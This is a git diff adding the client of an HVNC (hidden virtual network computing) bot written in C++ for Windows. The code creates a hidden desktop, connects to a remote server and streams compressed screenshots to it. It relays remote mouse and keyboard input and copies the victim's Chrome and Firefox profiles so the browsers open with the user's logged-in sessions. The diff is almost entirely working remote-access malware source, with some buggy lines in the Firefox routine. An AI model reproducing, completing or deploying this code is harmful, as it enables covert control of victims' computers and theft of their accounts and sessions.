diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ed05cc9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,26 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ + +# Visual Studio 2015 cache/options directory +.vs/ diff --git a/Client/HiddenDesktop.h b/Client/HiddenDesktop.h new file mode 100644 index 0000000..26ff380 --- /dev/null +++ b/Client/HiddenDesktop.h @@ -0,0 +1,793 @@ +#include +#include + +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment (lib, "Shlwapi.lib") +enum Connection { desktop, input }; +enum Input { mouse }; + +static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 }; +static const COLORREF gc_trans = RGB(255, 174, 201); + +enum WmStartApp { startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore }; + +static int g_port; +static char g_host[MAX_PATH]; +static BOOL g_started = FALSE; +static BYTE* g_pixels = NULL; +static BYTE* g_oldPixels = NULL; +static BYTE* g_tempPixels = NULL; +static HDESK g_hDesk; +static BITMAPINFO g_bmpInfo; +static HANDLE g_hInputThread, g_hDesktopThread; +static char g_desktopName[MAX_PATH]; +typedef DWORD(__stdcall* RtlCompressBuffer_Fn)( + IN ULONG CompressionFormat, + IN PVOID SourceBuffer, + IN ULONG SourceBufferLength, + OUT PVOID DestinationBuffer, + IN ULONG DestinationBufferLength, + IN ULONG Unknown, + OUT PULONG pDestinationSize, + IN PVOID WorkspaceBuffer); +typedef DWORD(__stdcall* RtlGetCompressionWorkSpaceSize_Fn)( + IN ULONG CompressionFormat, + OUT PULONG pNeededBufferSize, + OUT PULONG pUnknown); + + + +static BOOL PaintWindow(HWND hWnd, HDC hDc, HDC hDcScreen) +{ + BOOL ret = FALSE; + RECT rect; + GetWindowRect(hWnd, &rect); + + HDC hDcWindow = CreateCompatibleDC(hDc); + HBITMAP hBmpWindow = CreateCompatibleBitmap(hDc, rect.right - rect.left, rect.bottom - rect.top); + + SelectObject(hDcWindow, hBmpWindow); + if (PrintWindow(hWnd, hDcWindow, 0)) + { + BitBlt(hDcScreen, + rect.left, + rect.top, + rect.right - rect.left, + rect.bottom - rect.top, + hDcWindow, + 0, + 0, + SRCCOPY); + + ret = TRUE; + } + DeleteObject(hBmpWindow); + DeleteDC(hDcWindow); + return ret; +} + +static void EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param) +{ + HWND currentWindow = GetTopWindow(owner); + if (currentWindow == NULL) + return; + if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL) + return; + while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL); +} + +struct EnumHwndsPrintData +{ + HDC hDc; + HDC hDcScreen; +}; + +static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) +{ + EnumHwndsPrintData* data = (EnumHwndsPrintData*)lParam; + + if (!IsWindowVisible(hWnd)) + return TRUE; + + PaintWindow(hWnd, data->hDc, data->hDcScreen); + + DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE); + SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED); + + OSVERSIONINFO versionInfo; + versionInfo.dwOSVersionInfoSize = sizeof(versionInfo); + GetVersionExA(&versionInfo); + if (versionInfo.dwMajorVersion < 6) + EnumWindowsTopToDown(hWnd, EnumHwndsPrint, (LPARAM)data); + return TRUE; +} + +static BOOL GetDeskPixels(int serverWidth, int serverHeight) +{ + RECT rect; + HWND hWndDesktop = GetDesktopWindow(); + GetWindowRect(hWndDesktop, &rect); + + HDC hDc = GetDC(NULL); + HDC hDcScreen = CreateCompatibleDC(hDc); + HBITMAP hBmpScreen = CreateCompatibleBitmap(hDc, rect.right, rect.bottom); + SelectObject(hDcScreen, hBmpScreen); + + EnumHwndsPrintData data; + data.hDc = hDc; + data.hDcScreen = hDcScreen; + + EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)& data); + + if (serverWidth > rect.right) + serverWidth = rect.right; + if (serverHeight > rect.bottom) + serverHeight = rect.bottom; + + if (serverWidth != rect.right || serverHeight != rect.bottom) + { + HBITMAP hBmpScreenResized = CreateCompatibleBitmap(hDc, serverWidth, serverHeight); + HDC hDcScreenResized = CreateCompatibleDC(hDc); + + SelectObject(hDcScreenResized, hBmpScreenResized); + SetStretchBltMode(hDcScreenResized, HALFTONE); + StretchBlt(hDcScreenResized, 0, 0, serverWidth, serverHeight, + hDcScreen, 0, 0, rect.right, rect.bottom, SRCCOPY); + + DeleteObject(hBmpScreen); + DeleteDC(hDcScreen); + + hBmpScreen = hBmpScreenResized; + hDcScreen = hDcScreenResized; + } + + BOOL comparePixels = TRUE; + g_bmpInfo.bmiHeader.biSizeImage = serverWidth * 3 * serverHeight; + + if (g_pixels == NULL || (g_bmpInfo.bmiHeader.biWidth != serverWidth || g_bmpInfo.bmiHeader.biHeight != serverHeight)) + { + free((HLOCAL)g_pixels); + free((HLOCAL)g_oldPixels); + free((HLOCAL)g_tempPixels); + + g_pixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + g_oldPixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + g_tempPixels = (BYTE*)Alloc(g_bmpInfo.bmiHeader.biSizeImage); + + comparePixels = FALSE; + } + + g_bmpInfo.bmiHeader.biWidth = serverWidth; + g_bmpInfo.bmiHeader.biHeight = serverHeight; + GetDIBits(hDcScreen, hBmpScreen, 0, serverHeight, g_pixels, &g_bmpInfo, DIB_RGB_COLORS); + + DeleteObject(hBmpScreen); + ReleaseDC(NULL, hDc); + DeleteDC(hDcScreen); + + if (comparePixels) + { + for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage; i += 3) + { + if (g_pixels[i] == GetRValue(gc_trans) && + g_pixels[i + 1] == GetGValue(gc_trans) && + g_pixels[i + 2] == GetBValue(gc_trans)) + { + ++g_pixels[i + 1]; + } + } + + memcpy(g_tempPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); //TODO: CRT call + + BOOL same = TRUE; + for (DWORD i = 0; i < g_bmpInfo.bmiHeader.biSizeImage - 1; i += 3) + { + if (g_pixels[i] == g_oldPixels[i] && + g_pixels[i + 1] == g_oldPixels[i + 1] && + g_pixels[i + 2] == g_oldPixels[i + 2]) + { + g_pixels[i] = GetRValue(gc_trans); + g_pixels[i + 1] = GetGValue(gc_trans); + g_pixels[i + 2] = GetBValue(gc_trans); + } + else + same = FALSE; + } + if (same) + return TRUE; + + memcpy(g_oldPixels, g_tempPixels, g_bmpInfo.bmiHeader.biSizeImage); //TODO: CRT call + } + else + memcpy(g_oldPixels, g_pixels, g_bmpInfo.bmiHeader.biSizeImage); + return FALSE; +} + +static SOCKET ConnectServer() +{ + WSADATA wsa; + SOCKET s; + SOCKADDR_IN addr; + + if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) + return NULL; + if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) + return NULL; + + hostent* he = gethostbyname(g_host); + memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); + addr.sin_family = AF_INET; + addr.sin_port = htons(g_port); + + if (connect(s, (sockaddr*)& addr, sizeof(addr)) < 0) + return NULL; + + return s; +} + +static int SendInt(SOCKET s, int i) +{ + return send(s, (char*)& i, sizeof(i), 0); +} + + +static DWORD WINAPI DesktopThread(LPVOID param) +{ + SOCKET s = ConnectServer(); + + if (!SetThreadDesktop(g_hDesk)) + goto exit; + + if (send(s, (char*)gc_magik, sizeof(gc_magik), 0) <= 0) + goto exit; + if (SendInt(s, Connection::desktop) <= 0) + goto exit; + + for (;;) + { + int width, height; + + if (recv(s, (char*)& width, sizeof(width), 0) <= 0) + goto exit; + if (recv(s, (char*)& height, sizeof(height), 0) <= 0) + goto exit; + + BOOL same = GetDeskPixels(width, height); + if (same) + { + if (SendInt(s, 0) <= 0) + goto exit; + continue; + } + + if (SendInt(s, 1) <= 0) + goto exit; + + DWORD workSpaceSize; + DWORD fragmentWorkSpaceSize; + + + HANDLE hDLL; + RtlCompressBuffer_Fn fcmp; + RtlGetCompressionWorkSpaceSize_Fn fgcw; + hDLL = LoadLibrary("ntdll.dll"); + if (hDLL != NULL) + { + fcmp = (RtlCompressBuffer_Fn)GetProcAddress((HMODULE)hDLL, "RtlCompressBuffer"); + fgcw = (RtlGetCompressionWorkSpaceSize_Fn) GetProcAddress((HMODULE)hDLL, "RtlGetCompressionWorkSpaceSize"); + + + (*fgcw)(COMPRESSION_FORMAT_LZNT1, &workSpaceSize, &fragmentWorkSpaceSize); + BYTE* workSpace = (BYTE*)Alloc(workSpaceSize); + + DWORD size; + (*fcmp)(COMPRESSION_FORMAT_LZNT1, + g_pixels, + g_bmpInfo.bmiHeader.biSizeImage, + g_tempPixels, + g_bmpInfo.bmiHeader.biSizeImage, + 2048, + &size, + workSpace); + + free(workSpace); + + RECT rect; + HWND hWndDesktop = GetDesktopWindow(); + GetWindowRect(hWndDesktop, &rect); + if (SendInt(s, rect.right) <= 0) + goto exit; + if (SendInt(s, rect.bottom) <= 0) + goto exit; + if (SendInt(s, g_bmpInfo.bmiHeader.biWidth) <= 0) + goto exit; + if (SendInt(s, g_bmpInfo.bmiHeader.biHeight) <= 0) + goto exit; + if (SendInt(s, size) <= 0) + goto exit; + if (send(s, (char*)g_tempPixels, size, 0) <= 0) + goto exit; + + DWORD response; + if (recv(s, (char*)& response, sizeof(response), 0) <= 0) + goto exit; + } + } + +exit: + TerminateThread(g_hInputThread, 0); + return 0; +} + +static void StartChrome() +{ + char chromePath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath); + lstrcatA(chromePath, "\\Google\\Chrome\\"); + + char dataPath[MAX_PATH] = { 0 }; + lstrcatA(dataPath, chromePath); + lstrcatA(dataPath, "User Data\\"); + + char botId[BOT_ID_LEN] = { 0 }; + char newDataPath[MAX_PATH] = { 0 }; + lstrcatA(newDataPath, chromePath); + GetBotId(botId); + lstrcatA(newDataPath, botId); + + CopyDir(dataPath, newDataPath); + + char path[MAX_PATH] = { 0 }; + lstrcatA(path, "cmd.exe /c start "); + lstrcatA(path, "chrome.exe"); + lstrcatA(path, " --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="); + lstrcatA(path, (PCHAR)"\""); + lstrcatA(path, newDataPath); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); +} + +static void StartFirefox() +{ + char firefoxPath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath); + lstrcatA(firefoxPath, "\\Mozilla\\Firefox\\"); + + char profilesIniPath[MAX_PATH] = { 0 }; + lstrcatA(profilesIniPath, firefoxPath); + lstrcatA(profilesIniPath, "TaskbarGlomLevel"); + + HANDLE hProfilesIni = CreateFileA + ( + profilesIniPath, + FILE_READ_ACCESS, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (hProfilesIni == INVALID_HANDLE_VALUE) + return; + + DWORD profilesIniSize = GetFileSize(hProfilesIni, 0); + DWORD read; + char* profilesIniContent = (char*)Alloc(profilesIniSize + 1); + ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL); + profilesIniContent[profilesIniSize] = 0; + + + char* isRelativeRead = StrStrA(profilesIniContent, "IsRelative="); + if (!isRelativeRead) + exit; + isRelativeRead += 11; + BOOL isRelative = (*isRelativeRead == '1'); + + char* path = StrStrA(profilesIniContent, "Path="); + if (!path) + exit; + char* pathEnd = StrStrA(path, (PCHAR)"\r"); + if (!pathEnd) + exit; + *pathEnd = 0; + path += 5; + + char realPath[MAX_PATH] = { 0 }; + if (isRelative) + lstrcpyA(realPath, firefoxPath); + lstrcatA(realPath, path); + + char botId[BOT_ID_LEN]; + GetBotId(botId); + + char newPath[MAX_PATH]; + lstrcpyA(newPath, firefoxPath); + lstrcpyA(newPath, botId); + + CopyDir(realPath, newPath); + + char browserPath[MAX_PATH] = { 0 }; + lstrcpyA(browserPath, "cmd.exe /c start "); + lstrcpyA(browserPath, "firefox.exe"); + lstrcpyA(browserPath, " -no-remote -profile "); + lstrcpyA(browserPath, (PCHAR)"\""); + lstrcpyA(browserPath, newPath); + lstrcpyA(browserPath, (PCHAR)"\""); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + +exit: + CloseHandle(hProfilesIni); + free(profilesIniContent); +} + +static void StartIe() +{ + char path[MAX_PATH] = { 0 }; + lstrcpyA(path, "cmd.exe /c start "); + lstrcatA(path, "iexplore.exe"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); +} + +static DWORD WINAPI InputThread(LPVOID param) +{ + SOCKET s = ConnectServer(); + + SetThreadDesktop(g_hDesk); + + if (send(s, (char*)gc_magik, sizeof(gc_magik), 0) <= 0) + return 0; + if (SendInt(s, Connection::input) <= 0) + return 0; + + DWORD response; + if (!recv(s, (char*)& response, sizeof(response), 0)) + return 0; + + g_hDesktopThread = CreateThread(NULL, 0, DesktopThread, NULL, 0, 0); + + POINT lastPoint; + BOOL lmouseDown = FALSE; + HWND hResMoveWindow = NULL; + LRESULT resMoveType = NULL; + + lastPoint.x = 0; + lastPoint.y = 0; + + for (;;) + { + UINT msg; + WPARAM wParam; + LPARAM lParam; + + if (recv(s, (char*)& msg, sizeof(msg), 0) <= 0) + goto exit; + if (recv(s, (char*)& wParam, sizeof(wParam), 0) <= 0) + goto exit; + if (recv(s, (char*)& lParam, sizeof(lParam), 0) <= 0) + goto exit; + + HWND hWnd; + POINT point; + POINT lastPointCopy; + BOOL mouseMsg = FALSE; + + switch (msg) + { + case WmStartApp::startExplorer: + { + const DWORD neverCombine = 2; + const char* valueName = "TaskbarGlomLevel"; + + HKEY hKey; + RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", 0, KEY_ALL_ACCESS, &hKey); + DWORD value; + DWORD size = sizeof(DWORD); + DWORD type = REG_DWORD; + RegQueryValueExA(hKey, valueName, 0, &type, (BYTE*)& value, &size); + + if (value != neverCombine) + RegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE*)& neverCombine, size); + + char explorerPath[MAX_PATH] = { 0 }; + GetWindowsDirectoryA(explorerPath, MAX_PATH); + lstrcatA(explorerPath,"\\"); + lstrcatA(explorerPath, "explorer.exe"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + + APPBARDATA appbarData; + appbarData.cbSize = sizeof(appbarData); + for (int i = 0; i < 5; ++i) + { + Sleep(1000); + appbarData.hWnd = FindWindowA("shell_TrayWnd", NULL); + if (appbarData.hWnd) + break; + } + + appbarData.lParam = ABS_ALWAYSONTOP; + SHAppBarMessage(ABM_SETSTATE, &appbarData); + + RegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE*)& value, size); + RegCloseKey(hKey); + break; + } + case WmStartApp::startRun: + { + char rundllPath[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath); + lstrcatA(rundllPath, "\\rundll32.exe shell32.dll,#61"); + + STARTUPINFOA startupInfo = { 0 }; + startupInfo.cb = sizeof(startupInfo); + startupInfo.lpDesktop = g_desktopName; + PROCESS_INFORMATION processInfo = { 0 }; + CreateProcessA(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); + break; + } + case WmStartApp::startChrome: + { + StartChrome(); + break; + } + case WmStartApp::startFirefox: + { + StartFirefox(); + break; + } + case WmStartApp::startIexplore: + { + StartIe(); + break; + } + case WM_CHAR: + case WM_KEYDOWN: + case WM_KEYUP: + { + point = lastPoint; + hWnd = WindowFromPoint(point); + break; + } + default: + { + mouseMsg = TRUE; + point.x = GET_X_LPARAM(lParam); + point.y = GET_Y_LPARAM(lParam); + lastPointCopy = lastPoint; + lastPoint = point; + + hWnd = WindowFromPoint(point); + if (msg == WM_LBUTTONUP) + { + lmouseDown = FALSE; + LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + + switch (lResult) + { + case HTTRANSPARENT: + { + SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); + lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + break; + } + case HTCLOSE: + { + PostMessageA(hWnd, WM_CLOSE, 0, 0); + break; + } + case HTMINBUTTON: + { + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + break; + } + case HTMAXBUTTON: + { + WINDOWPLACEMENT windowPlacement; + windowPlacement.length = sizeof(windowPlacement); + GetWindowPlacement(hWnd, &windowPlacement); + if (windowPlacement.flags & SW_SHOWMAXIMIZED) + PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); + else + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); + break; + } + } + } + else if (msg == WM_LBUTTONDOWN) + { + lmouseDown = TRUE; + hResMoveWindow = NULL; + + RECT startButtonRect; + HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); + GetWindowRect(hStartButton, &startButtonRect); + if (PtInRect(&startButtonRect, point)) + { + PostMessageA(hStartButton, BM_CLICK, 0, 0); + continue; + } + else + { + char windowClass[MAX_PATH] = { 0 }; + RealGetWindowClassA(hWnd, windowClass, MAX_PATH); + + if (!lstrcmpA(windowClass, "#32768")) + { + HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); + int itemPos = MenuItemFromPoint(NULL, hMenu, point); + int itemId = GetMenuItemID(hMenu, itemPos); + PostMessageA(hWnd, 0x1e5, itemPos, 0); + PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); + continue; + } + } + } + else if (msg == WM_MOUSEMOVE) + { + if (!lmouseDown) + continue; + + if (!hResMoveWindow) + resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); + else + hWnd = hResMoveWindow; + + int moveX = lastPointCopy.x - point.x; + int moveY = lastPointCopy.y - point.y; + + RECT rect; + GetWindowRect(hWnd, &rect); + + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + switch (resMoveType) + { + case HTCAPTION: + { + x -= moveX; + y -= moveY; + break; + } + case HTTOP: + { + y -= moveY; + height += moveY; + break; + } + case HTBOTTOM: + { + height -= moveY; + break; + } + case HTLEFT: + { + x -= moveX; + width += moveX; + break; + } + case HTRIGHT: + { + width -= moveX; + break; + } + case HTTOPLEFT: + { + y -= moveY; + height += moveY; + x -= moveX; + width += moveX; + break; + } + case HTTOPRIGHT: + { + y -= moveY; + height += moveY; + width -= moveX; + break; + } + case HTBOTTOMLEFT: + { + height -= moveY; + x -= moveX; + width += moveX; + break; + } + case HTBOTTOMRIGHT: + { + height -= moveY; + width -= moveX; + break; + } + default: + continue; + } + MoveWindow(hWnd, x, y, width, height, FALSE); + hResMoveWindow = hWnd; + continue; + } + break; + } + } + + + for (HWND currHwnd = hWnd;;) + { + hWnd = currHwnd; + ScreenToClient(currHwnd, &point); + currHwnd = ChildWindowFromPoint(currHwnd, point); + if (!currHwnd || currHwnd == hWnd) + break; + } + + + if (mouseMsg) + lParam = MAKELPARAM(point.x, point.y); + + PostMessageA(hWnd, msg, wParam, lParam); + } +exit: + TerminateThread(g_hDesktopThread, 0); + return 0; +} + +static DWORD WINAPI MainThread(LPVOID param) +{ + return 0; +} + +void StartHiddenDesktop(char* host, int port) +{ + + lstrcpyA(g_host, host); + g_port = port; + g_started = TRUE; + memset(g_desktopName, 0, sizeof(g_desktopName)); + GetBotId(g_desktopName); + memset(&g_bmpInfo, 0, sizeof(g_bmpInfo)); + g_bmpInfo.bmiHeader.biSize = sizeof(g_bmpInfo.bmiHeader); + g_bmpInfo.bmiHeader.biPlanes = 1; + g_bmpInfo.bmiHeader.biBitCount = 24; + g_bmpInfo.bmiHeader.biCompression = BI_RGB; + g_bmpInfo.bmiHeader.biClrUsed = 0; + + g_hDesk = OpenDesktopA(g_desktopName, 0, TRUE, GENERIC_ALL); + if (!g_hDesk) + g_hDesk = CreateDesktopA(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(g_hDesk); + + g_hInputThread = CreateThread(NULL, 0, InputThread, NULL, 0, 0); + WaitForSingleObject(g_hInputThread, INFINITE); + + free(g_pixels); + free(g_oldPixels); + free(g_tempPixels); + + CloseHandle(g_hInputThread); + CloseHandle(g_hDesktopThread); + + g_pixels = NULL; + g_oldPixels = NULL; + g_tempPixels = NULL; + g_started = FALSE; +} \ No newline at end of file diff --git a/Client/Utils.h b/Client/Utils.h new file mode 100644 index 0000000..f9d3101 --- /dev/null +++ b/Client/Utils.h @@ -0,0 +1,100 @@ +#include +#include + + +ULONG PseudoRand(ULONG* seed) +{ + return (*seed = 1352459 * (*seed) + 2529004207); +} + +void GetBotId(char* botId) +{ + CHAR windowsDirectory[MAX_PATH]; + CHAR volumeName[8] = { 0 }; + DWORD seed = 0; + + if (GetWindowsDirectoryA(windowsDirectory, sizeof(windowsDirectory))) + windowsDirectory[0] = L'C'; + + volumeName[0] = windowsDirectory[0]; + volumeName[1] = ':'; + volumeName[2] = '\\'; + volumeName[3] = '\0'; + + GetVolumeInformationA(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); + + GUID guid; + guid.Data1 = PseudoRand(&seed); + + guid.Data2 = (USHORT)PseudoRand(&seed); + guid.Data3 = (USHORT)PseudoRand(&seed); + for (int i = 0; i < 8; i++) + guid.Data4[i] = (UCHAR)PseudoRand(&seed); + + wsprintfA(botId, (PCHAR)"%08lX%04lX%lu", guid.Data1, guid.Data3, *(ULONG*)& guid.Data4[2]); +} + + + + +void* Alloc(size_t size) +{ + void* mem =malloc(size); + return mem; +} + +#pragma function(memset) +void* __cdecl memset(void* pTarget, int value, size_t cbTarget) +{ + unsigned char* p = static_cast(pTarget); + while (cbTarget-- > 0) + { + *p++ = static_cast(value); + } + return pTarget; +} + + + + + + +void CopyDir(char* from, char* to) +{ + char fromWildCard[MAX_PATH] = { 0 }; + lstrcpyA(fromWildCard, from); + lstrcatA(fromWildCard, (PCHAR)"\\*"); + + if (!CreateDirectoryA(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + return; + WIN32_FIND_DATAA findData; + HANDLE hFindFile = FindFirstFileA(fromWildCard, &findData); + if (hFindFile == INVALID_HANDLE_VALUE) + return; + + do + { + char currFileFrom[MAX_PATH] = { 0 }; + lstrcpyA(currFileFrom, from); + lstrcatA(currFileFrom, (PCHAR)"\\"); + lstrcatA(currFileFrom, findData.cFileName); + + char currFileTo[MAX_PATH] = { 0 }; + lstrcpyA(currFileTo, to); + lstrcatA(currFileTo, (PCHAR)"\\"); + lstrcatA(currFileTo, findData.cFileName); + + if + ( + findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && + lstrcmpA(findData.cFileName, (PCHAR)".") && + lstrcmpA(findData.cFileName, (PCHAR)"..") + ) + { + if (CreateDirectoryA(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) + CopyDir(currFileFrom, currFileTo); + } + else + CopyFileA(currFileFrom, currFileTo, FALSE); + } while (FindNextFileA(hFindFile, &findData)); +} diff --git a/Client/hiddenDesktop.cpp b/Client/hiddenDesktop.cpp new file mode 100644 index 0000000..dcd1721 --- /dev/null +++ b/Client/hiddenDesktop.cpp @@ -0,0 +1,39 @@ +#pragma (linker, "/defaultlib:ntdll.lib") +#define BOT_ID_LEN 35 + +#define SECURITY_WIN32 +#include +#include +#include +#include +#include +#include +#include +#include + + +#include +#include +#include + +#include "Utils.h" + + +#include "HiddenDesktop.h" + + + +int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow) + +{ + char* server; + if (strlen(szCmdLine) > 0) + { + server = szCmdLine; + } + else { + server = (char*)"127.0.0.1"; + } + std::cout << server; + StartHiddenDesktop(server, 6667); +} diff --git a/Client/hiddenDesktop.vcxproj b/Client/hiddenDesktop.vcxproj new file mode 100644 index 0000000..0a8be13 --- /dev/null +++ b/Client/hiddenDesktop.vcxproj @@ -0,0 +1,175 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + 16.0 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2} + Win32Proj + hiddenDesktop + 10.0 + Client + + + + Application + true + v142 + MultiByte + + + Application + true + v142 + MultiByte + + + Application + false + v142 + false + MultiByte + + + Application + false + v142 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);shell32.lib + + + + + + + Level3 + Disabled + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);shell32.lib + + + + + + + Level3 + MinSpace + false + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + true + Default + + + Windows + true + true + true + + + + + + + Level3 + MinSpace + false + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + Default + + + Windows + true + true + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/Client/hiddenDesktop.vcxproj.filters b/Client/hiddenDesktop.vcxproj.filters new file mode 100644 index 0000000..5e3fe1f --- /dev/null +++ b/Client/hiddenDesktop.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Quelldateien + + + + + Headerdateien + + + Headerdateien + + + \ No newline at end of file diff --git a/HVNC.sln b/HVNC.sln new file mode 100644 index 0000000..cb989f6 --- /dev/null +++ b/HVNC.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30717.126 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Client", "Client\hiddenDesktop.vcxproj", "{2634CFFF-FDCB-450E-A6E9-6D655C0005B2}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Debug|x86.ActiveCfg = Debug|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Debug|x86.Build.0 = Debug|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Release|x86.ActiveCfg = Release|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Release|x86.Build.0 = Release|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|x86.ActiveCfg = Debug|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|x86.Build.0 = Debug|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|x86.ActiveCfg = Release|Win32 + 